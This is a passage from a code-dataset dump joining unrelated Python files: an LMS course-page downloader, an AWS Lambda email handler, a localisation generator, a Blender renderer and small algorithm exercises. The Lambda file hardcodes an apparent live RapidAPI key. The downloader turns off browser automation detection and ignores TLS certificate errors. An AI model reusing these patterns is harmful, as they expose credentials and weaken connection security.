CONTENT_TYPE_SCORM_BOOK:\n            logging.info(\"Disabling landscape mode\")\n            print_settings[\"isLandscapeEnabled\"] = False\n        else:\n            logging.info(\"Enabling landscape mode\")\n            print_settings[\"isLandscapeEnabled\"] = True\n\n        # Download all pages\n        pdfs = []\n        page_counter = 0\n        while True:\n            # Set path\n            pdf_path = os.path.join(temp_dir.name, \"{}.pdf\".format(page_counter))\n            png_path = os.path.join(temp_dir.name, \"{}.png\".format(page_counter))\n\n            if content_type == CONTENT_TYPE_SCORM_PRESENTATION or content_type == CONTENT_TYPE_SCORM_BOOK:\n                # Print into PDF\n                logging.info(\"Downloading page as: {}\".format(pdf_path))\n                self.browser.execute_script(\"window.print();\")\n                pdf_data = self.browser.execute_cdp_cmd(\"Page.printToPDF\", print_settings)\n                with open(pdf_path, \"wb\") as file:\n                    file.write(base64.b64decode(pdf_data[\"data\"]))\n                pdfs.append(pdf_path)\n            elif content_type == CONTENT_TYPE_H5P_PRESENTATION:\n                # Save as image and convert to PDF\n                logging.info(\"Downloading page as: {}\".format(png_path))\n                self.browser.find_element(By.CLASS_NAME, \"h5p-iframe\").screenshot(png_path)\n                logging.info(\"Converting into RGB and saving as PDF\")\n                image = Image.open(png_path).convert(\"RGB\")\n                image.save(pdf_path)\n                image.close()\n                pdfs.append(pdf_path)\n\n            # Find next button\n            next_slide_btn = None\n            if content_type == CONTENT_TYPE_SCORM_PRESENTATION:\n                next_slide_btn_xpath = \"//button[@aria-label='next slide']\"\n                next_slide_btn = self.browser.find_element(By.XPATH, next_slide_btn_xpath)\n            elif content_type == CONTENT_TYPE_SCORM_BOOK:\n                next_slide_btn_xpath = \"//button[@class='btn']/div[@class='icon next down']\"\n                next_slide_btn = self.browser.find_element(By.XPATH, next_slide_btn_xpath).find_element(By.XPATH,\n                                                                                                        \"./..\")\n            elif content_type == CONTENT_TYPE_H5P_PRESENTATION:\n                next_slide_btn_xpath = \"//div[@class='h5p-footer-button h5p-footer-next-slide']\"\n                next_slide_btn = self.browser.find_element(By.XPATH, next_slide_btn_xpath)\n\n            # Finish or next\n            if not next_slide_btn.is_enabled() or next_slide_btn.get_attribute(\"aria-disabled\") == \"true\":\n                logging.info(\"Downloading done\")\n                break\n            else:\n                logging.info(\"Moving to the next slide and waiting {:.2f} seconds\".format(self._wait_between_pages))\n                next_slide_btn.click()\n                time.sleep(self._wait_between_pages)\n\n            # Increment counter\n            page_counter += 1\n\n        downloaded_paths = []\n\n        # Extract text for SCORM book\n        if content_type == CONTENT_TYPE_SCORM_BOOK:\n            logging.info(\"Extracting text\")\n            soup = BeautifulSoup(self.browser.page_source, \"html.parser\")\n            text = soup.get_text(\"\\n\")\n            txt_file_path = os.path.join(save_to_directory, self.browser.title + \".txt\")\n            with open(txt_file_path, \"w\", encoding=\"utf-8\") as txt_file:\n                logging.info(\"Saving text as {}\".format(txt_file_path))\n                txt_file.write(text)\n                downloaded_paths.append(txt_file_path)\n\n        # Merge them\n        logging.info(\"Merging PDF files\")\n        merger = PdfMerger()\n        for filename in pdfs:\n            pdf_file = open(filename, \"rb\")\n            merger.append(PdfReader(pdf_file))\n            pdf_file.close()\n        pdf_file_path = os.path.join(save_to_directory, self.browser.title + \".pdf\")\n        logging.info(\"Saving final PDF as {}\".format(pdf_file_path))\n        merger.write(pdf_file_path)\n        downloaded_paths.append(pdf_file_path)\n        merger.close()\n\n        # Delete temp dir\n        logging.info(\"Cleaning up temp files\")\n        temp_dir.cleanup()\n\n        # Exit and close broser\n        logging.info(\"Exiting browser\")\n        self.browser.quit()\n\n        # Done!\n        logging.info(\"Done!\")\n        return downloaded_paths\n\n    def _login(self) -> None:\n        \"\"\"\n        Logs in into LMS account\n        :return:\n        \"\"\"\n        logging.info(\"Logging in...\")\n        # Find elements\n        username_filed = self.browser.find_element(By.ID, \"username\")\n        password_filed = self.browser.find_element(By.ID, \"password\")\n\n        # Fill with login and password\n        username_filed.send_keys(self._lms_login)\n        password_filed.send_keys(self._lms_password)\n\n        # Click login button\n        login_button = self.browser.find_element(By.ID, \"loginbtn\")\n        login_button.click()\n\n        # Wait for usertext or loginerrors element to make sure page is loaded\n        WebDriverWait(self.browser, 60).until(expected_conditions.any_of(\n            presence_of_element_located((By.CLASS_NAME, \"usertext\")),\n            presence_of_element_located((By.CLASS_NAME, \"loginerrors\"))))\n\n        # Check login\n        if self.browser.find_elements(By.CLASS_NAME, \"loginerrors\"):\n            raise Exception(\"Login error! Check login / password\")\n        logging.info(\"Logged in successfully\")\n\n    def _start_browser(self) -> None:\n        \"\"\"\n        Starts browser and opens login page\n        :return:\n        \"\"\"\n        logging.info(\"Starting browser{}... Please wait\".format(\" in headless mode\" if self._headless else \"\"))\n        chrome_options = webdriver.ChromeOptions()\n        if self._headless:\n            chrome_options.add_argument(\"--headless=old\")\n        chrome_options.add_argument(f\"--user-agent={self._user_agent}\")\n        chrome_options.add_argument(f\"--window-size={self._window_size}\")\n        # chrome_options.add_argument(\"--start-maximized\")\n        chrome_options.add_argument(\"--disable-gpu\")\n        chrome_options.add_argument(\"--disable-blink-features=AutomationControlled\")\n        chrome_options.add_argument(\"--disable-infobars\")\n        chrome_options.add_argument(\"--disable-extensions\")\n        chrome_options.add_argument(\"--ignore-ssl-errors=yes\")\n        chrome_options.add_argument(\"--ignore-certificate-errors\")\n        chrome_options.add_argument(\"--disable-default-apps\")\n        chrome_options.add_argument(\"--disable-notifications\")\n        chrome_options.add_argument(\"--disable-popup-window\")\n        chrome_options.add_argument(\"--kiosk-printing\")\n        chrome_options.add_argument(\"--no-sandbox\")\n        chrome_options.add_experimental_option(\"prefs\", {\n            \"printing.print_preview_sticky_settings.appState\": json.dumps(PRINT_SETTINGS),\n            \"download.prompt_for_download\": False,\n            \"download.directory_upgrade\": True,\n            \"profile.default_content_setting_values.automatic_downloads\": 1\n        })\n\n        # Start browser and open login link\n        self.browser = webdriver.Chrome(options=chrome_options)\n        logging.info(\"Loading {}\".format(self._login_link))\n        self.browser.get(self._login_link)\n\n        # Wait for login button element to make sure page is loaded\n        WebDriverWait(self.browser, 60).until(presence_of_element_located((By.ID, \"loginbtn\")))\n        logging.info(self._login_link + \" loaded successfully\")\n","repo_name":"F33RNI/LMSDownloader","sub_path":"src/LMSDownloader/LMSDownloader.py","file_name":"LMSDownloader.py","file_ext":"py","file_size_in_byte":16068,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"44646988720","text":"class Solution:\n    # @param A : list of list of integers\n    # @return an integer\n    def solve(self, A):\n        N, M = len(A), len(A[0])\n\n        all_submat_sum = 0\n\n        for i in range(N):\n            for j in range(M):\n                a = cnt_mat_starting_before_xy = (i + 1) * (j + 1)\n                b = cnt_mat_endning_after_xy = (N - i) * (M - j)\n\n                all_submat_sum += a * b * A[i][j]\n\n        return all_submat_sum\n","repo_name":"0xStryK3R/Scaler-DSA-Revision","sub_path":"python/Day-30/CW_2.py","file_name":"CW_2.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41206761259","text":"import csv\n\nkey = []\nproperty = []\nkr = []\nen = []\njp = []\nes = []\nhans = []\nhant = []\n\n# kr_stringFile = open('./ko.lproj/Localizable.strings', 'w')\n# en_stringFile = open('./en.lproj/Localizable.strings', 'w')\n# es_stringFile = open('./es-419.lproj/Localizable.strings', 'w')\n# jp_stringFile = open('./en.lproj/Localizable.strings', 'w')\n# hant_stringFile = open('./en.lproj/Localizable.strings', 'w')\n# hans_stringFile = open('./en.lproj/Localizable.strings', 'w')\n# i18n_file = open('./I18N.swift', 'w')\n\n### 마지막에 추가 하려면 a\n### 갱신이면 +\n\nkr_stringFile = open('./ko.strings', 'w')\nen_stringFile = open('./en.strings', 'w')\nes_stringFile = open('./es-419.strings', 'w')\njp_stringFile = open('./jp.strings', 'w')\nhant_stringFile = open('./hant.strings', 'w')\nhans_stringFile = open('./hans.strings', 'w')\ni18n_file = open('./I18N.swift', 'w')\n\ndef get_csv():\n    with open('int.csv', newline='') as f:\n        reader = csv.reader(f)\n        for row in reader:\n            key.append(row[0])\n            property.append(row[1])\n            kr.append(row[2])\n            en.append(row[3])\n            jp.append(row[4])\n            es.append(row[5])\n            hans.append(row[6])\n            hant.append(row[7])\n\ndef generate_string_Field():\n    for index in range(len(key)):\n        krString = key[index] + \" = \" + \"\\\"\" + kr[index].replace(\"%s\", \"%@\") + \"\\\"\" + \";\\n\"\n        enString = key[index] + \" = \" + \"\\\"\" + en[index].replace(\"%s\", \"%@\") + \"\\\"\" + \";\\n\"\n        esString = key[index] + \" = \" + \"\\\"\" + es[index].replace(\"%s\", \"%@\") + \"\\\"\" + \";\\n\"\n        jpString = key[index] + \" = \" + \"\\\"\" + jp[index].replace(\"%s\", \"%@\") + \"\\\"\" + \";\\n\"\n        hansString = key[index] + \" = \" + \"\\\"\" + hans[index].replace(\"%s\", \"%@\") + \"\\\"\" + \";\\n\"\n        hantString = key[index] + \" = \" + \"\\\"\" + hant[index].replace(\"%s\", \"%@\") + \"\\\"\" + \";\\n\"\n\n        kr_stringFile.write(krString)\n        en_stringFile.write(enString)\n        es_stringFile.write(esString)\n        jp_stringFile.write(jpString)\n        hans_stringFile.write(hansString)\n        hant_stringFile.write(hantString)\n\ndef get_content_I18N():\n    for index in range(len(key)):\n        I18NString = \"static let \" + key[index] + \" = \" + \"\\\"\" + key[index] + \"\\\"\" + \".localized\\n\"\n        i18n_file.write(I18NString)\n\n### I18NString\n### I18N 완전체가 필요시\ndef get_total_I18N():\n    i18n_file.write(\"struct I18N {\\n\")\n    for index in range(len(key)):\n        I18NString = \"\\t\" + \"static let \" + key[index] + \" = \" + \"\\\"\" + key[index] + \"\\\"\" + \".localized\\n\"\n        i18n_file.write(I18NString)\n    i18n_file.write(\"}\\n\")\n\n\nget_csv()\ngenerate_string_Field()\nget_total_I18N()\n","repo_name":"mealligram/internationalizationGenerator","sub_path":"iOSI18NGenerator.py","file_name":"iOSI18NGenerator.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72799237310","text":"import json\nimport boto3\nimport os\nfrom botocore.vendored import requests\n\ndynamodb = boto3.client('dynamodb')\nmyEmail = os.environ.get('SOURCE')\n\ndef update_index(tableName,email):\n    response = dynamodb.put_item(\n        TableName=tableName,\n        Item={\n            'email': {'S': email}\n            }\n        ) \n\ndef sendEmail(event, context):\n    data = event['body']   \n    source = myEmail   \n    subject = 'Love Calculator'    \n    destination = data['destination']\n    fname = data['fname']\n    sname = data['sname']\n    error_message = None\n\n    update_index('calculator_collection',destination)\n\n    url = \"https://love-calculator.p.rapidapi.com/getPercentage\"\n    querystring = {\"fname\":fname,\"sname\":sname}\n\n    headers = {\n    'x-rapidapi-host': \"love-calculator.p.rapidapi.com\",\n    'x-rapidapi-key': \"6890862800mshdc4c568aa3befd3p1344b1jsn81f0def35768\"\n    }\n    output = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n    json_output = json.loads(output.text)\n\n    try:\n        if json_output['message']:\n            print(\"Hei\")\n            error_message = \"\"\"\n            <body>\n                <p>Rakkauslaskurissa on ruuhkaa. Yritä hetken kuluttua uudelleen.</p>\n            </body>\"\"\"\n            return error_message\n    except KeyError:\n        pass\n                 \n\n    percentage = json_output['percentage']\n\n    if int(percentage) <= 10:\n        result = \"Välitön ero on ainoa vaihtoehto\"\n    elif int(percentage) <= 20:\n        result = \"Harkitkaa pariterapiaa\"\n    elif int(percentage) <= 30:\n        result = \"Siinä ja siinä, että kannattaako olla yhdessä\"\n    elif int(percentage) <= 40:\n        result = \"Teillä on joskus hyviäkin päiviä\"\n    elif int(percentage) <= 50:\n        result = \"Ette tule eroamaan aivan heti\"\n    elif int(percentage) <= 60:\n        result = \"Sovitte yllättävän hyvin yhteen\"\n    elif int(percentage) <= 70:\n        result = \"Oho, nyt on kyllä hyvä pari\"\n    elif int(percentage) <= 80:\n        result = \"Teillä on vielä pitkä yhteinen taival edessä\"\n    elif int(percentage) <= 90:\n        result = \"Voiko noin onnellista parisuhdetta ollakaan!\"\n    elif int(percentage) <= 100:\n        result = \"Huijarit! Yksikään pari ei ole noin täydellinen\"\n\n    love_pic = \"\"\"\n        <body>\n        <h4>Hei \"\"\" +  fname + \"\"\" ja \"\"\" + sname + \"\"\"!</h4>\n        <p>Rakkausprosenttinne on: \"\"\" + str(percentage) + \"\"\"% \n        <br>Tuomio: \"\"\" + str(result) + \"\"\"</p>\n        <p>Terveisin LoveGurus  \n        <br>Ira ja Nella </p>\n        </body>\n        <p><img src=\"https://lovecalculaattori.s3.eu-central-1.amazonaws.com/rakkauslaskuri-1.jpg\" alt=\"Love\" width=\"600\" height=\"350\" /></p>\"\"\"\n    \n    client = boto3.client('ses' )    \n    \n    response = client.send_email(\n        Destination={\n            'ToAddresses': [destination]\n        },\n        Message={\n            'Body': {\n                'Html': {\n                    'Charset': 'UTF-8',\n                    'Data': love_pic,\n                },\n            },\n            'Subject': {\n                'Charset': 'UTF-8',\n                'Data': subject,\n            },\n        },\n        Source=source,\n    )\n    return love_pic","repo_name":"NellaPih/LoveCalculaattori","sub_path":"handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74655294591","text":"\"\"\"\nSmallest multiple\nhttps://projecteuler.net/problem=5\n\n2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any\nremainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?\n\"\"\"\nimport math\n\nimport pytest\n\n\ndef lowest_common_multiple(n: int = 20) -> int:\n    # Info from: https://mathworld.wolfram.com/LeastCommonMultiple.html\n    # LCM(a,b) is calculated as (a*b)/GCD(a, b)\n    # Or, LCM(a, b, c) = LCM(a, LCM(b, c))\n    # So, LCM(a, b, c) = a * (b/GCD(a, b)) * (c/GCD(b, c))\n    lcm = 1\n    for i in range(1, n + 1):\n        # I guess I should implement my own GCD but I'll half cheat\n        lcm *= i // math.gcd(lcm, i)\n\n    return lcm\n\n\nLCM_CASES = (\n    (3, 6),\n    (5, 60),\n    (7, 420),\n    (10, 2520),\n)\n\n\n@pytest.mark.parametrize((\"n\", \"truth_lcm\"), LCM_CASES)\ndef test_lowest_common_multiple(n: int, truth_lcm: int) -> None:\n    assert lowest_common_multiple(n) == truth_lcm\n\n\nif __name__ == \"__main__\":\n    print(f\"Solution: {lowest_common_multiple()}\")\n","repo_name":"sco1/project-euler","sub_path":"project_euler/pe_005.py","file_name":"pe_005.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"491967506","text":"\"\"\"Blender script to render images of 3D models.\n\nThis script is used to render images of 3D models. It takes in a list of paths\nto .glb files and renders images of each model. The images are from rotating the\nobject around the origin. The images are saved to the output directory.\n\nExample usage:\n    blender -b -P blender_script.py -- \\\n        --object_path my_object.glb \\\n        --output_dir ./views \\\n        --engine CYCLES \\\n        --scale 0.8 \\\n        --num_images 12 \\\n        --camera_dist 1.2\n\nHere, input_model_paths.json is a json file containing a list of paths to .glb.\n\"\"\"\n\nimport argparse\nimport json\nimport math\nimport os\nimport random\nimport sys\nimport time\nimport urllib.request\nfrom pathlib import Path\n\nfrom mathutils import Vector, Matrix\nimport numpy as np\n\nimport bpy\nfrom mathutils import Vector\nimport pickle\n\ndef read_pickle(pkl_path):\n    with open(pkl_path, 'rb') as f:\n        return pickle.load(f)\n\ndef save_pickle(data, pkl_path):\n    # os.system('mkdir -p {}'.format(os.path.dirname(pkl_path)))\n    with open(pkl_path, 'wb') as f:\n        pickle.dump(data, f)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--object_path\", type=str, required=True)\nparser.add_argument(\"--output_dir\", type=str, required=True)\nparser.add_argument(\"--engine\", type=str, default=\"CYCLES\", choices=[\"CYCLES\", \"BLENDER_EEVEE\"])\nparser.add_argument(\"--camera_type\", type=str, default='even')\nparser.add_argument(\"--num_images\", type=int, default=16)\nparser.add_argument(\"--elevation\", type=float, default=30)\nparser.add_argument(\"--elevation_start\", type=float, default=-10)\nparser.add_argument(\"--elevation_end\", type=float, default=40)\nparser.add_argument(\"--device\", type=str, default='CUDA')\n\nargv = sys.argv[sys.argv.index(\"--\") + 1 :]\nargs = parser.parse_args(argv)\n\nprint('===================', args.engine, '===================')\n\ncontext = bpy.context\nscene = context.scene\nrender = scene.render\n\ncam = scene.objects[\"Camera\"]\ncam.location = (0, 1.2, 0)\ncam.data.lens = 35\ncam.data.sensor_width = 32\n\ncam_constraint = cam.constraints.new(type=\"TRACK_TO\")\ncam_constraint.track_axis = \"TRACK_NEGATIVE_Z\"\ncam_constraint.up_axis = \"UP_Y\"\n\nrender.engine = args.engine\nrender.image_settings.file_format = \"PNG\"\nrender.image_settings.color_mode = \"RGBA\"\nrender.resolution_x = 256\nrender.resolution_y = 256\nrender.resolution_percentage = 100\n\nscene.cycles.device = \"GPU\"\nscene.cycles.samples = 128\nscene.cycles.diffuse_bounces = 1\nscene.cycles.glossy_bounces = 1\nscene.cycles.transparent_max_bounces = 3\nscene.cycles.transmission_bounces = 3\nscene.cycles.filter_width = 0.01\nscene.cycles.use_denoising = True\nscene.render.film_transparent = True\n\nbpy.context.preferences.addons[\"cycles\"].preferences.get_devices()\n# Set the device_type\nbpy.context.preferences.addons[\"cycles\"].preferences.compute_device_type = args.device # or \"OPENCL\"\nbpy.context.scene.cycles.tile_size = 8192\n\n\ndef az_el_to_points(azimuths, elevations):\n    x = np.cos(azimuths)*np.cos(elevations)\n    y = np.sin(azimuths)*np.cos(elevations)\n    z = np.sin(elevations)\n    return np.stack([x,y,z],-1) #\n\ndef set_camera_location(cam_pt):\n    # from https://blender.stackexchange.com/questions/18530/\n    x, y, z = cam_pt # sample_spherical(radius_min=1.5, radius_max=2.2, maxz=2.2, minz=-2.2)\n    camera = bpy.data.objects[\"Camera\"]\n    camera.location = x, y, z\n\n    return camera\n\ndef get_calibration_matrix_K_from_blender(camera):\n    f_in_mm = camera.data.lens\n    scene = bpy.context.scene\n    resolution_x_in_px = scene.render.resolution_x\n    resolution_y_in_px = scene.render.resolution_y\n    scale = scene.render.resolution_percentage / 100\n    sensor_width_in_mm = camera.data.sensor_width\n    sensor_height_in_mm = camera.data.sensor_height\n    pixel_aspect_ratio = scene.render.pixel_aspect_x / scene.render.pixel_aspect_y\n\n    if camera.data.sensor_fit == 'VERTICAL':\n        # the sensor height is fixed (sensor fit is horizontal),\n        # the sensor width is effectively changed with the pixel aspect ratio\n        s_u = resolution_x_in_px * scale / sensor_width_in_mm / pixel_aspect_ratio\n        s_v = resolution_y_in_px * scale / sensor_height_in_mm\n    else:  # 'HORIZONTAL' and 'AUTO'\n        # the sensor width is fixed (sensor fit is horizontal),\n        # the sensor height is effectively changed with the pixel aspect ratio\n        s_u = resolution_x_in_px * scale / sensor_width_in_mm\n        s_v = resolution_y_in_px * scale * pixel_aspect_ratio / sensor_height_in_mm\n\n    # Parameters of intrinsic calibration matrix K\n    alpha_u = f_in_mm * s_u\n    alpha_v = f_in_mm * s_u\n    u_0 = resolution_x_in_px * scale / 2\n    v_0 = resolution_y_in_px * scale / 2\n    skew = 0  # only use rectangular pixels\n\n    K = np.asarray(((alpha_u, skew, u_0),\n                    (0, alpha_v, v_0),\n                    (0, 0, 1)),np.float32)\n    return K\n\n\ndef reset_scene() -> None:\n    \"\"\"Resets the scene to a clean state.\"\"\"\n    # delete everything that isn't part of a camera or a light\n    for obj in bpy.data.objects:\n        if obj.type not in {\"CAMERA\", \"LIGHT\"}:\n            bpy.data.objects.remove(obj, do_unlink=True)\n    # delete all the materials\n    for material in bpy.data.materials:\n        bpy.data.materials.remove(material, do_unlink=True)\n    # delete all the textures\n    for texture in bpy.data.textures:\n        bpy.data.textures.remove(texture, do_unlink=True)\n    # delete all the images\n    for image in bpy.data.images:\n        bpy.data.images.remove(image, do_unlink=True)\n\n\n# load the glb model\ndef load_object(object_path: str) -> None:\n    \"\"\"Loads a glb model into the scene.\"\"\"\n    if object_path.endswith(\".glb\"):\n        bpy.ops.import_scene.gltf(filepath=object_path, merge_vertices=True)\n    elif object_path.endswith(\".fbx\"):\n        bpy.ops.import_scene.fbx(filepath=object_path)\n    else:\n        raise ValueError(f\"Unsupported file type: {object_path}\")\n\n\ndef scene_bbox(single_obj=None, ignore_matrix=False):\n    bbox_min = (math.inf,) * 3\n    bbox_max = (-math.inf,) * 3\n    found = False\n    for obj in scene_meshes() if single_obj is None else [single_obj]:\n        found = True\n        for coord in obj.bound_box:\n            coord = Vector(coord)\n            if not ignore_matrix:\n                coord = obj.matrix_world @ coord\n            bbox_min = tuple(min(x, y) for x, y in zip(bbox_min, coord))\n            bbox_max = tuple(max(x, y) for x, y in zip(bbox_max, coord))\n    if not found:\n        raise RuntimeError(\"no objects in scene to compute bounding box for\")\n    return Vector(bbox_min), Vector(bbox_max)\n\n\ndef scene_root_objects():\n    for obj in bpy.context.scene.objects.values():\n        if not obj.parent:\n            yield obj\n\n\ndef scene_meshes():\n    for obj in bpy.context.scene.objects.values():\n        if isinstance(obj.data, (bpy.types.Mesh)):\n            yield obj\n\n# function from https://github.com/panmari/stanford-shapenet-renderer/blob/master/render_blender.py\ndef get_3x4_RT_matrix_from_blender(cam):\n    bpy.context.view_layer.update()\n    location, rotation = cam.matrix_world.decompose()[0:2]\n    R = np.asarray(rotation.to_matrix())\n    t = np.asarray(location)\n\n    cam_rec = np.asarray([[1, 0, 0], [0, -1, 0], [0, 0, -1]], np.float32)\n    R = R.T\n    t = -R @ t\n    R_world2cv = cam_rec @ R\n    t_world2cv = cam_rec @ t\n\n    RT = np.concatenate([R_world2cv,t_world2cv[:,None]],1)\n    return RT\n\ndef normalize_scene():\n    bbox_min, bbox_max = scene_bbox()\n    scale = 1 / max(bbox_max - bbox_min)\n    for obj in scene_root_objects():\n        obj.scale = obj.scale * scale\n    # Apply scale to matrix_world.\n    bpy.context.view_layer.update()\n    bbox_min, bbox_max = scene_bbox()\n    offset = -(bbox_min + bbox_max) / 2\n    for obj in scene_root_objects():\n        obj.matrix_world.translation += offset\n    bpy.ops.object.select_all(action=\"DESELECT\")\n\ndef save_images(object_file: str) -> None:\n    object_uid = os.path.basename(object_file).split(\".\")[0]\n    os.makedirs(args.output_dir, exist_ok=True)\n\n    reset_scene()\n    # load the object\n    load_object(object_file)\n    # object_uid = os.path.basename(object_file).split(\".\")[0]\n    normalize_scene()\n\n    # create an empty object to track\n    empty = bpy.data.objects.new(\"Empty\", None)\n    scene.collection.objects.link(empty)\n    cam_constraint.target = empty\n\n    world_tree = bpy.context.scene.world.node_tree\n    back_node = world_tree.nodes['Background']\n    env_light = 0.5\n    back_node.inputs['Color'].default_value = Vector([env_light, env_light, env_light, 1.0])\n    back_node.inputs['Strength'].default_value = 1.0\n\n    distances = np.asarray([1.5 for _ in range(args.num_images)])\n    if args.camera_type=='fixed':\n        azimuths = (np.arange(args.num_images)/args.num_images*np.pi*2).astype(np.float32)\n        elevations = np.deg2rad(np.asarray([args.elevation] * args.num_images).astype(np.float32))\n    elif args.camera_type=='random':\n        azimuths = (np.arange(args.num_images) / args.num_images * np.pi * 2).astype(np.float32)\n        elevations = np.random.uniform(args.elevation_start, args.elevation_end, args.num_images)\n        elevations = np.deg2rad(elevations)\n    else:\n        raise NotImplementedError\n\n    cam_pts = az_el_to_points(azimuths, elevations) * distances[:,None]\n    cam_poses = []\n    (Path(args.output_dir) / object_uid).mkdir(exist_ok=True, parents=True)\n    for i in range(args.num_images):\n        # set camera\n        camera = set_camera_location(cam_pts[i])\n        RT = get_3x4_RT_matrix_from_blender(camera)\n        cam_poses.append(RT)\n\n        render_path = os.path.join(args.output_dir, object_uid, f\"{i:03d}.png\")\n        if os.path.exists(render_path): continue\n        scene.render.filepath = os.path.abspath(render_path)\n        bpy.ops.render.render(write_still=True)\n\n    if args.camera_type=='random':\n        K = get_calibration_matrix_K_from_blender(camera)\n        cam_poses = np.stack(cam_poses, 0)\n        save_pickle([K, azimuths, elevations, distances, cam_poses], os.path.join(args.output_dir, object_uid, \"meta.pkl\"))\n\nif __name__ == \"__main__\":\n    save_images(args.object_path)\n","repo_name":"liuyuan-pal/SyncDreamer","sub_path":"blender_script.py","file_name":"blender_script.py","file_ext":"py","file_size_in_byte":10114,"program_lang":"python","lang":"en","doc_type":"code","stars":586,"dataset":"github-code","pt":"60"}
+{"seq_id":"19405524449","text":"#!/usr/bin/python\n\nimport os\nfrom osgeo import gdal, ogr, osr,gdalconst,gdal_array\nimport time\nimport pathlib\nimport shutil\n\n#the main run function\ndef polygon_resample(driverName,input_features,outputShapefile,inputraster,temp_outShapefile,temp_outputraster,new_attributes,att_name,meters):\n\t\n\t\"\"\"\t\n\tAuthor Marc Pienaar, marc.pienaar@gmail.com\n\n\tPerform a hi-resolution resmapling (1m) of values from a equal area raster into a polygon shapefile\n\tParameters\n\t----------\n\tdriverName:  String\n\t\tThe gdal driver name (e.g. \"ESRI Shapefile\")\n\n\tinput_features : file or string\n\t\tinput shapefile name to read.\n\n\toutputShapefile: file or string\n\t\tThe output shapefile name to write to.\n\t\n\tinputraster:  Geotiff\n\t\tThe input raster to reasample from\n\n\ttemp_outShapefile:  file or string\n\t\tA temporary shapefile, respresenting each polygon to write to file for raster cropping\n\n\ttemp_outputraster:  Geotiff\n\t\tA temporary raster to write to file\n\t\t\n\t\n\tnew_attributes: array []\n\t\tA vector of thjree array names to add as attributes to the shapefile, e.g. ['Tonne,'Ha',t/ha']\n\n\tatt_name: A attribute value to print for trouble shooting from the input shapefile\n\t\te.g. geometry = feature.GetGeometryRef() \n\n\tmeters: Real or double\n\t\tA value representing how high the resmapling resolution should be e.g 1.0=1 meter\n\t\t\n\tReturns:\n\t-------\n\tA polygon shapefile\twith values from the input raster resmapled into it. \t\n\t\"\"\"\n\t\n\tdrv = ogr.GetDriverByName(driverName)\n\tdataSource_in = drv.Open(input_features, 0)  # 0 means read-only. 1 means writeable.\n\tlayer = dataSource_in.GetLayer(0)\n\tfeatureCount = layer.GetFeatureCount()#the number of features\n\ttargetprj = layer.GetSpatialRef()  #\n\tinLayerDefn = layer.GetLayerDefn()# the input file layer definition\t\n\t#create the output shapefile\n\toutDriver = ogr.GetDriverByName(\"ESRI Shapefile\")\n\toutDataSet = outDriver.CreateDataSource(outputShapefile)\n\toutLayer = outDataSet.CreateLayer(\"temp\",targetprj,geom_type=ogr.wkbMultiPolygon)\n\t#Map the attribute names from the input shapefile to the output shapefile\n\tfor i in range(0, inLayerDefn.GetFieldCount()):\n\t\tfieldDefn = inLayerDefn.GetFieldDefn(i)\n\t\toutLayer.CreateField(fieldDefn)\n\t#create additional attributes for resampling \n\tfor i in new_attributes:\n\t\toutLayer.CreateField(ogr.FieldDefn(i, ogr.OFTReal))\n\toutLayerDefn = outLayer.GetLayerDefn()\n\taccum=0#To accumulate errors\n\tfor i in range(0, featureCount): # e.g. E154 100 for 0\n\t\tfeature = layer.GetFeature(i)\n\t\tattrs = feature.GetField(att_name)\t\n\t\ttry:\n\t\t\tprint(i, 'of',featureCount,'polygons complete: - ID:', attrs)\n\t\t\tgeometry = feature.GetGeometryRef()\n\t\t\t# Create the temporary output shapefile\n\t\t\tcreate_temp_poly(temp_outShapefile,targetprj,geometry)\n\t\t\t#hi-res crop of the raster to the feature \n\t\t\thirescrop(inputraster,temp_outputraster,temp_outShapefile,targetprj,geometry,meters,False)\n\t\t\t#creeate two variables to use to accumulate values\n\t\t\tsum = 0;ha=0\n\t\t\tdataset = gdal.Open(temp_outputraster)\n\t\t\t#get a histogram of the values from the cropped raster\n\t\t\thist = dataset.GetRasterBand(1).GetHistogram(approx_ok = 0)\n\t\t\tfor k in range(len(hist)):\n\t\t\t\tha=ha+hist[k]\n\t\t\t\tsum=sum+((k*0.0001)*hist[k])\n\t\t\t#close the temporary raster to free resources\n\t\t\tdataset=None\n\t#\t\t\tprint(i,featureCount, sum, ha/10000)\n\t\t\toutFeature = ogr.Feature(outLayerDefn)\n\t\t\toutFeature.SetGeometry(geometry)\n\t\t\t#map the original features to the new shapefile\n\t\t\tfor j in range(0, inLayerDefn.GetFieldCount()):\n\t\t\t\toutFeature.SetField(inLayerDefn.GetFieldDefn(j).GetNameRef(), feature.GetField(j))\n\t\t\t#map the new features and values\n\t\t\toutFeature.SetField(new_attributes[0], sum)\n\t\t\toutFeature.SetField(new_attributes[1], ha/10000)\n\t\t\ttry:#in case of div/zero\n\t\t\t\toutFeature.SetField(new_attributes[2], sum/(ha/10000))\n\t\t\texcept:\n\t\t\t\toutFeature.SetField(new_attributes[2], 0.0)\n\t\t\toutLayer.CreateFeature(outFeature)\n\t\t\toutFeature = None\t\n\t\texcept:\n\t\t\taccum=accum+1\n\t\t\tprint(accum,attrs,\"Error\")\n\t#write and release resources\n\toutDataSet.Destroy() \n\tdataSource_in.Destroy() \n\t#delete the temporary folder and outputs\n\tshutil.rmtree(os.path.sep.join(['outputs', 'temp']))\n\t\n\ndef mkdir_recursive(path):\n\t\"\"\"\t\n\tcreate a directory and its sub-directories\n\tParameters\n\t----------\n\tpath:  String\n\t\tthe directory path to create\n\n\tReturns\n\t-------\n\tNull, creates the directories\t\t\n\t\"\"\"\n\tif not os.path.exists(path):\n\t\tpathlib.Path(path).mkdir(parents=True, exist_ok=True)\n\t\t\ndef get_attributes(drivername, shp_in,showtime):\n\t\"\"\"\t\n\tGet the field names and feature count from a 